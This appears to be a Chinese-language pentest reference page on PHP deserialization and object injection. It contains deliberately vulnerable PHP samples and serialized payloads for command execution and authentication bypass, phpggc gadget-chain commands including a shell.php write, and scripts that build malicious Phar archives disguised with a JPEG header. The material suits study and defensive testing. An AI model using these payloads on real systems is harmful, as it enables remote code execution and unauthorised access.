跳转至

PHP 反序列化 (PHP Deserialization)

PHP 对象注入 (PHP Object Injection) 是一种应用程序级别的漏洞。根据具体语境,它可能允许攻击者执行各种恶意攻击,例如代码注入、SQL 注入、路径遍历和应用程序拒绝服务。当用户提供的输入在传递给 PHP 的 unserialize() 函数之前未经过适当过滤时,就会产生此漏洞。由于 PHP 允许对象序列化,攻击者可以向有漏洞的 unserialize() 调用传递精心构造的序列化字符串,从而将任意 PHP 对象注入到应用程序作用域中。

摘要 (Summary)

基本概念 (General Concept)

以下魔术方法 (Magic Methods) 将有助于您进行 PHP 对象注入:

  • __wakeup():当一个对象被反序列化时调用。
  • __destruct():当一个对象被删除时调用。
  • __toString():当一个对象被当作字符串转换时调用。

此外,您还应该查看 文件包含 (File Inclusion) 中关于 Wrapper Phar:// 的内容,它也使用了 PHP 对象注入。

漏洞代码示例:

<?php 
    class PHPObjectInjection{
        public $inject;
        function __construct(){
        }
        function __wakeup(){
            if(isset($this->inject)){
                eval($this->inject);
            }
        }
    }
    if(isset($_REQUEST['r'])){  
        $var1=unserialize($_REQUEST['r']);
        if(is_array($var1)){
            echo "<br/>".$var1[0]." - ".$var1[1];
        }
    }
    else{
        echo ""; # 此处无操作
    }
?>

利用应用程序内部的现有代码构造载荷:

  • 基础序列化数据

    a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
    
  • 命令执行

    string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
    

身份验证绕过 (Authentication Bypass)

类型比较绕过 (Type Juggling)

漏洞代码示例:

<?php
$data = unserialize($_COOKIE['auth']);

if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
    $admin = true;
} else {
    $admin = false;
}

载荷:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

原因在于 true == "任何字符串" 的结果为真 (true)。

对象注入 (Object Injection)

漏洞代码示例:

<?php
class ObjectExample
{
  var $guess;
  var $secretCode;
}

$obj = unserialize($_GET['input']);

if($obj) {
    $obj->secretCode = rand(500000,999999);
    if($obj->guess === $obj->secretCode) {
        echo "Win";
    }
}
?>

载荷:

O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}

我们可以像这样构造数组:

a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}

查找和利用 Gadget (Finding and Using Gadgets)

也被称为 "PHP POP 链",可以用于获取系统的远程代码执行 (RCE) 权限。

  • 在 PHP 源代码中,查找 unserialize() 函数。
  • 寻找有趣的 魔术方法,例如 __construct()__destruct()__call()__callStatic()__get()__set()__isset()__unset()__sleep()__wakeup()__serialize()__unserialize()__toString()__invoke()__set_state()__clone()__debugInfo()
    • __construct():PHP 允许开发者为类声明构造方法。具有构造方法的类在每次创建新对象时都会调用此方法,因此它适用于对象在使用前可能需要的任何初始化。
    • __destruct():析构方法在没有任何其他引用指向特定对象时被调用,或者在关闭过程中的任何顺序中调用。
    • __call(string $name, array $arguments):当调用不可访问的方法时触发。$name 是方法名,$arguments 是参数数组。
    • __callStatic(string $name, array $arguments):在静态上下文中调用不可访问的方法时触发。
    • __get(string $name):用于从不可访问(受保护或私有)或不存在的属性中读取数据。
    • __set(string $name, mixed $value):在向不可访问(受保护或私有)或不存在的属性写入数据时运行。
    • __isset(string $name):在对不可访问(受保护或私有)或不存在的属性调用 isset()empty() 时触发。
    • __unset(string $name):在对不可访问(受保护或私有)或不存在的属性使用 unset() 时调用。
    • __sleep()serialize() 检查类中是否存在 __sleep()。如果存在,该函数在序列化之前被执行。它可以清理对象,并应返回一个包含对象中所有待序列化变量名称的数组。
    • __wakeup()unserialize() 检查 __wakeup() 是否存在。如果存在,此函数可以重新构建对象可能具有的任何资源。通常用于重新建立数据库连接等初始化任务。
    • __serialize()serialize() 检查类中是否存在 __serialize()。如果存在,该函数在序列化之前执行。它必须构造并返回一个包含对象序列化形式的键/值对关联数组。
    • __unserialize(array $data):此函数将接收由 __serialize() 返回的恢复数组。
    • __toString():允许一个类决定当它被当作字符串处理时该如何反应。
    • __invoke():当脚本尝试将对象作为函数调用时被调用。
    • __set_state(array $properties):这个静态方法是为利用 var_export() 导出的类而调用的。
    • __clone():克隆完成后,如果定义了 __clone(),新创建对象的 __clone() 方法将被调用,以允许修改任何必要的属性。
    • __debugInfo():此方法由 var_dump() 在转储对象以获取应显示的属性时调用。

ambionics/phpggc 是一个用于生成基于多个框架的载荷的工具:

  • Laravel
  • Symfony
  • SwiftMailer
  • Monolog
  • SlimPHP
  • Doctrine
  • Guzzle
phpggc monolog/rce1 'phpinfo();' -s
phpggc monolog/rce1 assert 'phpinfo()'
phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini

Phar 反序列化 (Phar Deserialization)

使用 phar:// 协议流 (wrapper),可以在指定文件上触发反序列化,例如在 file_get_contents("phar://./archives/app.phar") 中。

一个有效的 PHAR 包含四个元素:

  1. Stub (存根):Stub 是在执行上下文中访问该文件时执行的一段 PHP 代码。Stub 必须至少包含 __HALT_COMPILER();。除此之外,对内容的限制很少。
  2. Manifest (清单):包含有关归档文件及其内容的元数据。
  3. File Contents (文件内容):包含归档中的实际文件。
  4. Signature (签名)(可选):用于验证归档的完整性。

  5. 为了利用自定义 PDFGenerator 而创建 Phar 的示例。

    <?php
    class PDFGenerator { }
    
    // 创建 Dummy 类的新实例并修改其属性
    $dummy = new PDFGenerator();
    $dummy->callback = "passthru";
    $dummy->fileName = "uname -a > pwned"; // 我们的载荷
    
    // 删除任何现有的同名 PHAR 归档
    @unlink("poc.phar");
    
    // 创建新的归档
    $poc = new Phar("poc.phar");
    
    // 将所有写入操作添加到缓冲区,而不修改磁盘上的归档
    $poc->startBuffering();
    
    // 设置 stub
    $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
    
    /* 在归档中添加一个以 "text" 为内容的新文件 */
    $poc["file"] = "text";
    // 将 dummy 对象添加到元数据中。这将被序列化
    $poc->setMetadata($dummy);
    // 停止缓冲并写入磁盘
    $poc->stopBuffering();
    ?>
    
  6. 带有 JPEG 魔术字节头部的 Phar 创建示例,因为 Stub 内容没有限制。

    <?php
    class AnyClass {
        public $data = null;
        public function __construct($data) {
            $this->data = $data;
        }
    
        function __destruct() {
            system($this->data);
        }
    }
    
    // 创建新的 Phar
    $phar = new Phar('test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'text');
    $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
    
    // 将任何类的对象添加为元数据
    $object = new AnyClass('whoami');
    $phar->setMetadata($object);
    $phar->stopBuffering();
    

真实案例 (Real World Examples)

参考资料 (References)